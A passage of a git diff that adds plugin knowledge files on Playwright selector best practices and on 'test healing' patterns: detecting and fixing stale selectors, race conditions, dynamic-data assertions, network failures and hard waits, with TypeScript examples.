+  test('Level 4: CSS classes/IDs (LAST RESORT - brittle)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ❌ Last resort: CSS class (breaks with styling updates)
+    // await page.locator('.btn-primary').click()
+
+    // ❌ Last resort: ID (breaks if ID changes)
+    // await page.locator('#login-form').fill(...)
+
+    // ✅ Better: Use data-testid or ARIA instead
+    await page.getByTestId('login-button').click();
+
+    // Why CSS/ID is last resort:
+    // - Breaks with CSS refactoring (class name changes)
+    // - Breaks with HTML restructuring (ID changes)
+    // - Not semantic (unclear what element does)
+    // - Tight coupling between tests and styling
+  });
+});
+```
+
+**Key Points**:
+
+- Hierarchy: data-testid (best) > ARIA (good) > text (acceptable) > CSS/ID (last resort)
+- data-testid survives ALL UI changes (explicit test contract)
+- ARIA roles enforce accessibility (screen reader compatible)
+- Text content is user-centric (but breaks with copy changes)
+- CSS/ID are brittle (break with styling refactoring)
+
+---
+
+### Example 2: Dynamic Selector Patterns (Lists, Filters, Regex)
+
+**Context**: Handle dynamic content, lists, and variable data with resilient selectors
+
+**Implementation**:
+
+```typescript
+// tests/selectors/dynamic-selectors.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Dynamic Selector Patterns', () => {
+  test('regex for variable content (user IDs, timestamps)', async ({ page }) => {
+    await page.goto('/users');
+
+    // ✅ Good: Regex pattern for dynamic user IDs
+    await expect(page.getByText(/User \d+/)).toBeVisible();
+
+    // ✅ Good: Regex for timestamps
+    await expect(page.getByText(/Last login: \d{4}-\d{2}-\d{2}/)).toBeVisible();
+
+    // ✅ Good: Regex for dynamic counts
+    await expect(page.getByText(/\d+ items in cart/)).toBeVisible();
+  });
+
+  test('partial text matching (case-insensitive, substring)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ✅ Good: Partial match (survives minor text changes)
+    await page.getByText('Product', { exact: false }).first().click();
+
+    // ✅ Good: Case-insensitive (survives capitalization changes)
+    await expect(page.getByText(/sign in/i)).toBeVisible();
+  });
+
+  test('filter locators for lists (avoid brittle nth)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Index-based (breaks when order changes)
+    // await page.locator('.product-card').nth(2).click()
+
+    // ✅ Good: Filter by content (resilient to reordering)
+    await page.locator('[data-testid="product-card"]').filter({ hasText: 'Premium Plan' }).click();
+
+    // ✅ Good: Filter by attribute
+    await page
+      .locator('[data-testid="product-card"]')
+      .filter({ has: page.locator('[data-status="active"]') })
+      .first()
+      .click();
+  });
+
+  test('nth() only when absolutely necessary', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ⚠️ Acceptable: nth(0) for first item (common pattern)
+    const firstNotification = page.getByTestId('notification').nth(0);
+    await expect(firstNotification).toContainText('Welcome');
+
+    // ❌ Bad: nth(5) for arbitrary index (fragile)
+    // await page.getByTestId('notification').nth(5).click()
+
+    // ✅ Better: Use filter() with specific criteria
+    await page.getByTestId('notification').filter({ hasText: 'Critical Alert' }).click();
+  });
+
+  test('combine multiple locators for specificity', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ✅ Good: Narrow scope with combined locators
+    const shippingSection = page.getByTestId('shipping-section');
+    await shippingSection.getByLabel('Address Line 1').fill('123 Main St');
+    await shippingSection.getByLabel('City').fill('New York');
+
+    // Scoping prevents ambiguity (multiple "City" fields on page)
+  });
+});
+```
+
+**Key Points**:
+
+- Regex patterns handle variable content (IDs, timestamps, counts)
+- Partial matching survives minor text changes (`exact: false`)
+- `filter()` is more resilient than `nth()` (content-based vs index-based)
+- `nth(0)` acceptable for "first item", avoid arbitrary indexes
+- Combine locators to narrow scope (prevent ambiguity)
+
+---
+
+### Example 3: Selector Anti-Patterns (What NOT to Do)
+
+**Context**: Common selector mistakes that cause brittle tests
+
+**Problem Examples**:
+
+```typescript
+// tests/selectors/anti-patterns.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Anti-Patterns to Avoid', () => {
+  test('❌ Anti-Pattern 1: CSS classes (brittle)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ❌ Bad: CSS class (breaks with design system updates)
+    // await page.locator('.btn-primary').click()
+    // await page.locator('.form-input-lg').fill('test@example.com')
+
+    // ✅ Good: Use data-testid or ARIA role
+    await page.getByTestId('login-button').click();
+    await page.getByRole('textbox', { name: 'Email' }).fill('test@example.com');
+  });
+
+  test('❌ Anti-Pattern 2: Index-based nth() (fragile)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Index-based (breaks when product order changes)
+    // await page.locator('.product-card').nth(3).click()
+
+    // ✅ Good: Content-based filter
+    await page.locator('[data-testid="product-card"]').filter({ hasText: 'Laptop' }).click();
+  });
+
+  test('❌ Anti-Pattern 3: Complex XPath (hard to maintain)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Bad: Complex XPath (unreadable, breaks with structure changes)
+    // await page.locator('xpath=//div[@class="container"]//section[2]//button[contains(@class, "primary")]').click()
+
+    // ✅ Good: Semantic selector
+    await page.getByRole('button', { name: 'Create Order' }).click();
+  });
+
+  test('❌ Anti-Pattern 4: ID selectors (coupled to implementation)', async ({ page }) => {
+    await page.goto('/settings');
+
+    // ❌ Bad: HTML ID (breaks if ID changes for accessibility/SEO)
+    // await page.locator('#user-settings-form').fill(...)
+
+    // ✅ Good: data-testid or ARIA landmark
+    await page.getByTestId('user-settings-form').getByLabel('Display Name').fill('John Doe');
+  });
+
+  test('✅ Refactoring: Bad → Good Selector', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // Before (brittle):
+    // await page.locator('.checkout-form > .payment-section > .btn-submit').click()
+
+    // After (resilient):
+    await page.getByTestId('checkout-form').getByRole('button', { name: 'Complete Payment' }).click();
+
+    await expect(page.getByText('Payment successful')).toBeVisible();
+  });
+});
+```
+
+**Why These Fail**:
+
+- **CSS classes**: Change frequently with design updates (Tailwind, CSS modules)
+- **nth() indexes**: Fragile to element reordering (new features, A/B tests)
+- **Complex XPath**: Unreadable, breaks with HTML structure changes
+- **HTML IDs**: Not stable (accessibility improvements change IDs)
+
+**Better Approach**: Use selector hierarchy (testid > ARIA > text)
+
+---
+
+### Example 4: Selector Debugging Techniques (Inspector, DevTools, MCP)
+
+**Context**: Debug selector failures interactively to find better alternatives
+
+**Implementation**:
+
+```typescript
+// tests/selectors/debugging-techniques.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Debugging Techniques', () => {
+  test('use Playwright Inspector to test selectors', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Pause test to open Inspector
+    await page.pause();
+
+    // In Inspector console, test selectors:
+    // page.getByTestId('user-menu')              ✅ Works
+    // page.getByRole('button', { name: 'Profile' }) ✅ Works
+    // page.locator('.btn-primary')               ❌ Brittle
+
+    // Use "Pick Locator" feature to generate selectors
+    // Use "Record" mode to capture user interactions
+
+    await page.getByTestId('user-menu').click();
+    await expect(page.getByRole('menu')).toBeVisible();
+  });
+
+  test('use locator.all() to debug lists', async ({ page }) => {
+    await page.goto('/products');
+
+    // Debug: How many products are visible?
+    const products = await page.getByTestId('product-card').all();
+    console.log(`Found ${products.length} products`);
+
+    // Debug: What text is in each product?
+    for (const product of products) {
+      const text = await product.textContent();
+      console.log(`Product text: ${text}`);
+    }
+
+    // Use findings to build better selector
+    await page.getByTestId('product-card').filter({ hasText: 'Laptop' }).click();
+  });
+
+  test('use DevTools console to test selectors', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // Open DevTools (manually or via page.pause())
+    // Test selectors in console:
+    // document.querySelectorAll('[data-testid="payment-method"]')
+    // document.querySelector('#credit-card-input')
+
+    // Find robust selector through trial and error
+    await page.getByTestId('payment-method').selectOption('credit-card');
+  });
+
+  test('MCP browser_generate_locator (if available)', async ({ page }) => {
+    await page.goto('/products');
+
+    // If Playwright MCP available, use browser_generate_locator:
+    // 1. Click element in browser
+    // 2. MCP generates optimal selector
+    // 3. Copy into test
+
+    // Example output from MCP:
+    // page.getByRole('link', { name: 'Product A' })
+
+    // Use generated selector
+    await page.getByRole('link', { name: 'Product A' }).click();
+    await expect(page).toHaveURL(/\/products\/\d+/);
+  });
+});
+```
+
+**Key Points**:
+
+- Playwright Inspector: Interactive selector testing with "Pick Locator" feature
+- `locator.all()`: Debug lists to understand structure and content
+- DevTools console: Test CSS selectors before adding to tests
+- MCP browser_generate_locator: Auto-generate optimal selectors (if MCP available)
+- Always validate selectors work before committing
+
+---
+
+### Example 2: Selector Refactoring Guide (Before/After Patterns)
+
+**Context**: Systematically improve brittle selectors to resilient alternatives
+
+**Implementation**:
+
+```typescript
+// tests/selectors/refactoring-guide.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Refactoring Patterns', () => {
+  test('refactor: CSS class → data-testid', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Before: CSS class (breaks with Tailwind updates)
+    // await page.locator('.bg-blue-500.px-4.py-2.rounded').click()
+
+    // ✅ After: data-testid
+    await page.getByTestId('add-to-cart-button').click();
+
+    // Implementation: Add data-testid to button component
+    // <button className="bg-blue-500 px-4 py-2 rounded" data-testid="add-to-cart-button">
+  });
+
+  test('refactor: nth() index → filter()', async ({ page }) => {
+    await page.goto('/users');
+
+    // ❌ Before: Index-based (breaks when users reorder)
+    // await page.locator('.user-row').nth(2).click()
+
+    // ✅ After: Content-based filter
+    await page.locator('[data-testid="user-row"]').filter({ hasText: 'john@example.com' }).click();
+  });
+
+  test('refactor: Complex XPath → ARIA role', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ❌ Before: Complex XPath (unreadable, brittle)
+    // await page.locator('xpath=//div[@id="payment"]//form//button[contains(@class, "submit")]').click()
+
+    // ✅ After: ARIA role
+    await page.getByRole('button', { name: 'Complete Payment' }).click();
+  });
+
+  test('refactor: ID selector → data-testid', async ({ page }) => {
+    await page.goto('/settings');
+
+    // ❌ Before: HTML ID (changes with accessibility improvements)
+    // await page.locator('#user-profile-section').getByLabel('Name').fill('John')
+
+    // ✅ After: data-testid + semantic label
+    await page.getByTestId('user-profile-section').getByLabel('Display Name').fill('John Doe');
+  });
+
+  test('refactor: Deeply nested CSS → scoped data-testid', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Before: Deep nesting (breaks with structure changes)
+    // await page.locator('.container .sidebar .menu .item:nth-child(3) a').click()
+
+    // ✅ After: Scoped data-testid
+    const sidebar = page.getByTestId('sidebar');
+    await sidebar.getByRole('link', { name: 'Settings' }).click();
+  });
+});
+```
+
+**Key Points**:
+
+- CSS class → data-testid (survives design system updates)
+- nth() → filter() (content-based vs index-based)
+- Complex XPath → ARIA role (readable, semantic)
+- ID → data-testid (decouples from HTML structure)
+- Deep nesting → scoped locators (modular, maintainable)
+
+---
+
+### Example 3: Selector Best Practices Checklist
+
+```typescript
+// tests/selectors/validation-checklist.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Selector Validation Checklist
+ *
+ * Before committing test, verify selectors meet these criteria:
+ */
+test.describe('Selector Best Practices Validation', () => {
+  test('✅ 1. Prefer data-testid for interactive elements', async ({ page }) => {
+    await page.goto('/login');
+
+    // Interactive elements (buttons, inputs, links) should use data-testid
+    await page.getByTestId('email-input').fill('test@example.com');
+    await page.getByTestId('login-button').click();
+  });
+
+  test('✅ 2. Use ARIA roles for semantic elements', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Semantic elements (headings, navigation, forms) use ARIA
+    await expect(page.getByRole('heading', { name: 'Dashboard' })).toBeVisible();
+    await page.getByRole('navigation').getByRole('link', { name: 'Settings' }).click();
+  });
+
+  test('✅ 3. Avoid CSS classes (except when testing styles)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Never for interaction: page.locator('.btn-primary')
+    // ✅ Only for visual regression: await expect(page.locator('.error-banner')).toHaveCSS('color', 'rgb(255, 0, 0)')
+  });
+
+  test('✅ 4. Use filter() instead of nth() for lists', async ({ page }) => {
+    await page.goto('/orders');
+
+    // List selection should be content-based
+    await page.getByTestId('order-row').filter({ hasText: 'Order #12345' }).click();
+  });
+
+  test('✅ 5. Selectors are human-readable', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ✅ Good: Clear intent
+    await page.getByTestId('shipping-address-form').getByLabel('Street Address').fill('123 Main St');
+
+    // ❌ Bad: Cryptic
+    // await page.locator('div > div:nth-child(2) > input[type="text"]').fill('123 Main St')
+  });
+});
+```
+
+**Validation Rules**:
+
+1. **Interactive elements** (buttons, inputs) → data-testid
+2. **Semantic elements** (headings, nav, forms) → ARIA roles
+3. **CSS classes** → Avoid (except visual regression tests)
+4. **Lists** → filter() over nth() (content-based selection)
+5. **Readability** → Selectors document user intent (clear, semantic)
+
+---
+
+## Selector Resilience Checklist
+
+Before deploying selectors:
+
+- [ ] **Hierarchy followed**: data-testid (1st choice) > ARIA (2nd) > text (3rd) > CSS/ID (last resort)
+- [ ] **Interactive elements use data-testid**: Buttons, inputs, links have dedicated test attributes
+- [ ] **Semantic elements use ARIA**: Headings, navigation, forms use roles and accessible names
+- [ ] **No brittle patterns**: No CSS classes (except visual tests), no arbitrary nth(), no complex XPath
+- [ ] **Dynamic content handled**: Regex for IDs/timestamps, filter() for lists, partial matching for text
+- [ ] **Selectors are scoped**: Use container locators to narrow scope (prevent ambiguity)
+- [ ] **Human-readable**: Selectors document user intent (clear, semantic, maintainable)
+- [ ] **Validated in Inspector**: Test selectors interactively before committing (page.pause())
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (generate tests with robust selectors), `*automate` (healing selector failures), `*test-review` (validate selector quality)
+- **Related fragments**: `test-healing-patterns.md` (selector failure diagnosis), `fixture-architecture.md` (page object alternatives), `test-quality.md` (maintainability standards)
+- **Tools**: Playwright Inspector (Pick Locator), DevTools console, Playwright MCP browser_generate_locator (optional)
+
+_Source: Playwright selector best practices, accessibility guidelines (ARIA), production test maintenance patterns_
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/test-healing-patterns.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/test-healing-patterns.md
new file mode 100644
index 0000000..ce2676d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/test-healing-patterns.md
@@ -0,0 +1,644 @@
+# Test Healing Patterns
+
+## Principle
+
+Common test failures follow predictable patterns (stale selectors, race conditions, dynamic data assertions, network errors, hard waits). **Automated healing** identifies failure signatures and applies pattern-based fixes. Manual healing captures these patterns for future automation.
+
+## Rationale
+
+**The Problem**: Test failures waste developer time on repetitive debugging. Teams manually fix the same selector issues, timing bugs, and data mismatches repeatedly across test suites.
+
+**The Solution**: Catalog common failure patterns with diagnostic signatures and automated fixes. When a test fails, match the error message/stack trace against known patterns and apply the corresponding fix. This transforms test maintenance from reactive debugging to proactive pattern application.
+
+**Why This Matters**:
+
+- Reduces test maintenance time by 60-80% (pattern-based fixes vs manual debugging)
+- Prevents flakiness regression (same bug fixed once, applied everywhere)
+- Builds institutional knowledge (failure catalog grows over time)
+- Enables self-healing test suites (automate workflow validates and heals)
+
+## Pattern Examples
+
+### Example 1: Common Failure Pattern - Stale Selectors (Element Not Found)
+
+**Context**: Test fails with "Element not found" or "Locator resolved to 0 elements" errors
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/selector-healing.ts
+
+export type SelectorFailure = {
+  errorMessage: string;
+  stackTrace: string;
+  selector: string;
+  testFile: string;
+  lineNumber: number;
+};
+
+/**
+ * Detect stale selector failures
+ */
+export function isSelectorFailure(error: Error): boolean {
+  const patterns = [
+    /locator.*resolved to 0 elements/i,
+    /element not found/i,
+    /waiting for locator.*to be visible/i,
+    /selector.*did not match any elements/i,
+    /unable to find element/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Extract selector from error message
+ */
+export function extractSelector(errorMessage: string): string | null {
+  // Playwright: "locator('button[type=\"submit\"]') resolved to 0 elements"
+  const playwrightMatch = errorMessage.match(/locator\('([^']+)'\)/);
+  if (playwrightMatch) return playwrightMatch[1];
+
+  // Cypress: "Timed out retrying: Expected to find element: '.submit-button'"
+  const cypressMatch = errorMessage.match(/Expected to find element: ['"]([^'"]+)['"]/i);
+  if (cypressMatch) return cypressMatch[1];
+
+  return null;
+}
+
+/**
+ * Suggest better selector based on hierarchy
+ */
+export function suggestBetterSelector(badSelector: string): string {
+  // If using CSS class → suggest data-testid
+  if (badSelector.startsWith('.') || badSelector.includes('class=')) {
+    const elementName = badSelector.match(/class=["']([^"']+)["']/)?.[1] || badSelector.slice(1);
+    return `page.getByTestId('${elementName}') // Prefer data-testid over CSS class`;
+  }
+
+  // If using ID → suggest data-testid
+  if (badSelector.startsWith('#')) {
+    return `page.getByTestId('${badSelector.slice(1)}') // Prefer data-testid over ID`;
+  }
+
+  // If using nth() → suggest filter() or more specific selector
+  if (badSelector.includes('.nth(')) {
+    return `page.locator('${badSelector.split('.nth(')[0]}').filter({ hasText: 'specific text' }) // Avoid brittle nth(), use filter()`;
+  }
+
+  // If using complex CSS → suggest ARIA role
+  if (badSelector.includes('>') || badSelector.includes('+')) {
+    return `page.getByRole('button', { name: 'Submit' }) // Prefer ARIA roles over complex CSS`;
+  }
+
+  return `page.getByTestId('...') // Add data-testid attribute to element`;
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/selector-healing.spec.ts
+import { test, expect } from '@playwright/test';
+import { isSelectorFailure, extractSelector, suggestBetterSelector } from '../../src/testing/healing/selector-healing';
+
+test('heal stale selector failures automatically', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  try {
+    // Original test with brittle CSS selector
+    await page.locator('.btn-primary').click();
+  } catch (error: any) {
+    if (isSelectorFailure(error)) {
+      const badSelector = extractSelector(error.message);
+      const suggestion = badSelector ? suggestBetterSelector(badSelector) : null;
+
+      console.log('HEALING SUGGESTION:', suggestion);
+
+      // Apply healed selector
+      await page.getByTestId('submit-button').click(); // Fixed!
+    } else {
+      throw error; // Not a selector issue, rethrow
+    }
+  }
+
+  await expect(page.getByText('Success')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message contains "locator resolved to 0 elements" or "element not found"
+- Fix: Replace brittle selector (CSS class, ID, nth) with robust alternative (data-testid, ARIA role)
+- Prevention: Follow selector hierarchy (data-testid > ARIA > text > CSS)
+- Automation: Pattern matching on error message + stack trace
+
+---
+
+### Example 2: Common Failure Pattern - Race Conditions (Timing Errors)
+
+**Context**: Test fails with "timeout waiting for element" or "element not visible" errors
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/timing-healing.ts
+
+export type TimingFailure = {
+  errorMessage: string;
+  testFile: string;
+  lineNumber: number;
+  actionType: 'click' | 'fill' | 'waitFor' | 'expect';
+};
+
+/**
+ * Detect race condition failures
+ */
+export function isTimingFailure(error: Error): boolean {
+  const patterns = [
+    /timeout.*waiting for/i,
+    /element is not visible/i,
+    /element is not attached to the dom/i,
+    /waiting for element to be visible.*exceeded/i,
+    /timed out retrying/i,
+    /waitForLoadState.*timeout/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Detect hard wait anti-pattern
+ */
+export function hasHardWait(testCode: string): boolean {
+  const hardWaitPatterns = [/page\.waitForTimeout\(/, /cy\.wait\(\d+\)/, /await.*sleep\(/, /setTimeout\(/];
+
+  return hardWaitPatterns.some((pattern) => pattern.test(testCode));
+}
+
+/**
+ * Suggest deterministic wait replacement
+ */
+export function suggestDeterministicWait(testCode: string): string {
+  if (testCode.includes('page.waitForTimeout')) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+// await page.waitForTimeout(3000)
+
+// ✅ Good: Wait for network response
+await page.waitForResponse(resp => resp.url().includes('/api/data') && resp.status() === 200)
+
+// OR wait for element state
+await page.getByTestId('loading-spinner').waitFor({ state: 'detached' })
+    `.trim();
+  }
+
+  if (testCode.includes('cy.wait(') && /cy\.wait\(\d+\)/.test(testCode)) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+// cy.wait(3000)
+
+// ✅ Good: Wait for aliased network request
+cy.intercept('GET', '/api/data').as('getData')
+cy.visit('/page')
+cy.wait('@getData')
+    `.trim();
+  }
+
+  return `
+// Add network-first interception BEFORE navigation:
+await page.route('**/api/**', route => route.continue())
+const responsePromise = page.waitForResponse('**/api/data')
+await page.goto('/page')
+await responsePromise
+  `.trim();
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/timing-healing.spec.ts
+import { test, expect } from '@playwright/test';
+import { isTimingFailure, hasHardWait, suggestDeterministicWait } from '../../src/testing/healing/timing-healing';
+
+test('heal race condition with network-first pattern', async ({ page, context }) => {
+  // Setup interception BEFORE navigation (prevent race)
+  await context.route('**/api/products', (route) => {
+    route.fulfill({
+      status: 200,
+      body: JSON.stringify({ products: [{ id: 1, name: 'Product A' }] }),
+    });
+  });
+
+  const responsePromise = page.waitForResponse('**/api/products');
+
+  await page.goto('/products');
+  await responsePromise; // Deterministic wait
+
+  // Element now reliably visible (no race condition)
+  await expect(page.getByText('Product A')).toBeVisible();
+});
+
+test('heal hard wait with event-based wait', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (flaky): await page.waitForTimeout(3000)
+
+  // ✅ Healed: Wait for spinner to disappear
+  await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+  // Element now reliably visible
+  await expect(page.getByText('Dashboard loaded')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error contains "timeout" or "not visible", often after navigation
+- Fix: Replace hard waits with network-first pattern or element state waits
+- Prevention: ALWAYS intercept before navigate, use waitForResponse()
+- Automation: Detect `page.waitForTimeout()` or `cy.wait(number)` in test code
+
+---
+
+### Example 3: Common Failure Pattern - Dynamic Data Assertions (Non-Deterministic IDs)
+
+**Context**: Test fails with "Expected 'User 123' but received 'User 456'" or timestamp mismatches
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/data-healing.ts
+
+export type DataFailure = {
+  errorMessage: string;
+  expectedValue: string;
+  actualValue: string;
+  testFile: string;
+  lineNumber: number;
+};
+
+/**
+ * Detect dynamic data assertion failures
+ */
+export function isDynamicDataFailure(error: Error): boolean {
+  const patterns = [
+    /expected.*\d+.*received.*\d+/i, // ID mismatches
+    /expected.*\d{4}-\d{2}-\d{2}.*received/i, // Date mismatches
+    /expected.*user.*\d+/i, // Dynamic user IDs
+    /expected.*order.*\d+/i, // Dynamic order IDs
+    /expected.*to.*contain.*\d+/i, // Numeric assertions
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Suggest flexible assertion pattern
+ */
+export function suggestFlexibleAssertion(errorMessage: string): string {
+  if (/expected.*user.*\d+/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded ID
+// await expect(page.getByText('User 123')).toBeVisible()
+
+// ✅ Good: Regex pattern for any user ID
+await expect(page.getByText(/User \\d+/)).toBeVisible()
+
+// OR use partial match
+await expect(page.locator('[data-testid="user-name"]')).toContainText('User')
+    `.trim();
+  }
+
+  if (/expected.*\d{4}-\d{2}-\d{2}/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded date
+// await expect(page.getByText('2024-01-15')).toBeVisible()
+
+// ✅ Good: Dynamic date validation
+const today = new Date().toISOString().split('T')[0]
+await expect(page.getByTestId('created-date')).toHaveText(today)
+
+// OR use date format regex
+await expect(page.getByTestId('created-date')).toHaveText(/\\d{4}-\\d{2}-\\d{2}/)
+    `.trim();
+  }
+
+  if (/expected.*order.*\d+/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded order ID
+// const orderId = '12345'
+
+// ✅ Good: Capture dynamic order ID
+const orderText = await page.getByTestId('order-id').textContent()
+const orderId = orderText?.match(/Order #(\\d+)/)?.[1]
+expect(orderId).toBeTruthy()
+
+// Use captured ID in later assertions
+await expect(page.getByText(\`Order #\${orderId} confirmed\`)).toBeVisible()
+    `.trim();
+  }
+
+  return `Use regex patterns, partial matching, or capture dynamic values instead of hardcoding`;
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/data-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal dynamic ID assertion with regex', async ({ page }) => {
+  await page.goto('/users');
+
+  // ❌ Original (fails with random IDs): await expect(page.getByText('User 123')).toBeVisible()
+
+  // ✅ Healed: Regex pattern matches any user ID
+  await expect(page.getByText(/User \d+/)).toBeVisible();
+});
+
+test('heal timestamp assertion with dynamic generation', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (fails daily): await expect(page.getByText('2024-01-15')).toBeVisible()
+
+  // ✅ Healed: Generate expected date dynamically
+  const today = new Date().toISOString().split('T')[0];
+  await expect(page.getByTestId('last-updated')).toContainText(today);
+});
+
+test('heal order ID assertion with capture', async ({ page, request }) => {
+  // Create order via API (dynamic ID)
+  const response = await request.post('/api/orders', {
+    data: { productId: '123', quantity: 1 },
+  });
+  const { orderId } = await response.json();
+
+  // ✅ Healed: Use captured dynamic ID
+  await page.goto(`/orders/${orderId}`);
+  await expect(page.getByText(`Order #${orderId}`)).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message shows expected vs actual value mismatch with IDs/timestamps
+- Fix: Use regex patterns (`/User \d+/`), partial matching, or capture dynamic values
+- Prevention: Never hardcode IDs, timestamps, or random data in assertions
+- Automation: Parse error message for expected/actual values, suggest regex patterns
+
+---
+
+### Example 4: Common Failure Pattern - Network Errors (Missing Route Interception)
+
+**Context**: Test fails with "API call failed" or "500 error" during test execution
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/network-healing.ts
+
+export type NetworkFailure = {
+  errorMessage: string;
+  url: string;
+  statusCode: number;
+  method: string;
+};
+
+/**
+ * Detect network failure
+ */
+export function isNetworkFailure(error: Error): boolean {
+  const patterns = [
+    /api.*call.*failed/i,
+    /request.*failed/i,
+    /network.*error/i,
+    /500.*internal server error/i,
+    /503.*service unavailable/i,
+    /fetch.*failed/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Suggest route interception
+ */
+export function suggestRouteInterception(url: string, method: string): string {
+  return `
+// ❌ Bad: Real API call (unreliable, slow, external dependency)
+
+// ✅ Good: Mock API response with route interception
+await page.route('${url}', route => {
+  route.fulfill({
+    status: 200,
+    contentType: 'application/json',
+    body: JSON.stringify({
+      // Mock response data
+      id: 1,
+      name: 'Test User',
+      email: 'test@example.com'
+    })
+  })
+})
+
+// Then perform action
+await page.goto('/page')
+  `.trim();
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/network-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal network failure with route mocking', async ({ page, context }) => {
+  // ✅ Healed: Mock API to prevent real network calls
+  await context.route('**/api/products', (route) => {
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({
+        products: [
+          { id: 1, name: 'Product A', price: 29.99 },
+          { id: 2, name: 'Product B', price: 49.99 },
+        ],
+      }),
+    });
+  });
+
+  await page.goto('/products');
+
+  // Test now reliable (no external API dependency)
+  await expect(page.getByText('Product A')).toBeVisible();
+  await expect(page.getByText('$29.99')).toBeVisible();
+});
+
+test('heal 500 error with error state mocking', async ({ page, context }) => {
+  // Mock API failure scenario
+  await context.route('**/api/products', (route) => {
+    route.fulfill({ status: 500, body: JSON.stringify({ error: 'Internal Server Error' }) });
+  });
+
+  await page.goto('/products');
+
+  // Verify error handling (not crash)
+  await expect(page.getByText('Unable to load products')).toBeVisible();
+  await expect(page.getByRole('button', { name: 'Retry' })).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message contains "API call failed", "500 error", or network-related failures
+- Fix: Add `page.route()` or `cy.intercept()` to mock API responses
+- Prevention: Mock ALL external dependencies (APIs, third-party services)
+- Automation: Extract URL from error message, generate route interception code
+
+---
+
+### Example 5: Common Failure Pattern - Hard Waits (Unreliable Timing)
+
+**Context**: Test fails intermittently with "timeout exceeded" or passes/fails randomly
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/hard-wait-healing.ts
+
+/**
+ * Detect hard wait anti-pattern in test code
+ */
+export function detectHardWaits(testCode: string): Array<{ line: number; code: string }> {
+  const lines = testCode.split('\n');
+  const violations: Array<{ line: number; code: string }> = [];
+
+  lines.forEach((line, index) => {
+    if (line.includes('page.waitForTimeout(') || /cy\.wait\(\d+\)/.test(line) || line.includes('sleep(') || line.includes('setTimeout(')) {
+      violations.push({ line: index + 1, code: line.trim() });
+    }
+  });
+
+  return violations;
+}
+
+/**
+ * Suggest event-based wait replacement
+ */
+export function suggestEventBasedWait(hardWaitLine: string): string {
+  if (hardWaitLine.includes('page.waitForTimeout')) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+${hardWaitLine}
+
+// ✅ Good: Wait for network response
+await page.waitForResponse(resp => resp.url().includes('/api/') && resp.ok())
+
+// OR wait for element state change
+await page.getByTestId('loading-spinner').waitFor({ state: 'detached' })
+await page.getByTestId('content').waitFor({ state: 'visible' })
+    `.trim();
+  }
+
+  if (/cy\.wait\(\d+\)/.test(hardWaitLine)) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+${hardWaitLine}
+
+// ✅ Good: Wait for aliased request
+cy.intercept('GET', '/api/data').as('getData')
+cy.visit('/page')
+cy.wait('@getData') // Deterministic
+    `.trim();
+  }
+
+  return 'Replace hard waits with event-based waits (waitForResponse, waitFor state changes)';
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/hard-wait-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal hard wait with deterministic wait', async ({ page }) => {
+  await page.goto('/dashboard');
+
